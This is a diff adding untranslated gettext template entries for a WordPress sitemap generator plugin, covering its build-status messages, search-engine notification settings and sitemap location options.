+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:510
+msgid ", or press the enter key to %toggle% it"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:528
+msgid "About this Plugin:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2886
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:529
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:153
+msgid "Plugin Homepage"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:530
+msgid "Suggest a Feature"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:531
+msgid "Notify List"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:532
+msgid "Support Forum"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "Report a Bug"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Donate with PayPal"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:536
+msgid "My Amazon Wish List"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "translator_name"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "translator_url"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2895
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Sitemap Resources:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:547
+msgid "Webmaster Tools"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "Webmaster Blog"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:544
+msgid "Site Explorer"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "Search Blog"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:548
+msgid "Webmaster Center Blog"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2903
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:550
+msgid "Sitemaps Protocol"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:551
+msgid "Official Sitemaps FAQ"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "My Sitemaps FAQ"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:555
+msgid "Recent Donations:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:559
+msgid "List of the donors"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:561
+msgid "Hide this list"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:564
+msgid "Thanks for your support!"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:584
+msgid "The sitemap wasn't generated yet."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:587
+msgid "Result of the last build process, started on %date%."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:596
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:602
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:603
+msgid "The last build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:605
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:613
+msgid "The last zipped build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:615
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:627
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:639
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:651
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:657
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:660
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:663
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:671
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:673
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:677
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:685
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:688
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:690
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:694
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:698
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:701
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:703
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3040
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:710
+msgid "Basic Options"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+msgid "Sitemap files:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:727
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Learn more"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3049
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:717
+msgid "Write a normal XML file (your filename)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3055
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:723
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:727
+msgid "Building mode:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:732
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:739
+msgid "Enable manual sitemap building via GET Request"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:743
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the result box above to see if sitemap was successfully built."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+msgid "Update notification:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:751
+msgid "Notify Google about updates of your Blog"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:752
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:756
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:757
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:761
+msgid "Notify Ask.com about updates of your Blog"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:762
+msgid "No registration required."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:766
+msgid "Notify YAHOO about updates of your Blog"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:767
+msgid "Your Application ID:"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:768
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:773
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Advanced options:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Limit the number of posts in the sitemap:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Newer posts will be included first"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "Try to increase the memory limit to:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "e.g. \"4M\", \"16M\""
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:789
+msgid "Try to increase the execution time limit to:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:789
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:793
+msgid "Include a XSLT stylesheet:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:794
+msgid "Full or relative URL to your .xsl file"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:794
+msgid "Use default"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:800
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:801
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:808
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr ""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:809
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3144
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:816
+msgid "Additional pages"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3149
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3151
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3462
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:821
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1024
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1033
+msgid "Note"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3300
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:824
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "URL to the page"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3157
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3301
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:827
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "Priority"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3158
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3160
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3303
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:830
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:866
+msgid "Last Changed"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3161
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:831
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3302
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:865
+msgid "Change Frequency"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3304
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:867
+msgid "#"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3309
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:872
+msgid "No pages defined."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3314
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:877
+msgid "Add new page"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3325
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:882
+msgid "Post Priority"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:884
+msgid "Please select how the priority of each post should be calculated:"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:886
+msgid "Do not use automatic priority calculation"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:886
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3348
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:897
+msgid "Location of your sitemap file"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3353
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:900
+msgid "Automatic detection"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3357
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Filename of the sitemap file"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:907
+msgid "Detected Path"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:907
+msgid "Detected URL"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3365
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:912
+msgid "Custom location"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3369
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:916
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3371
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3380
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:927
+msgid "Example"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:925
+msgid "Complete URL to the sitemap file, including name."
+msgstr ""
+
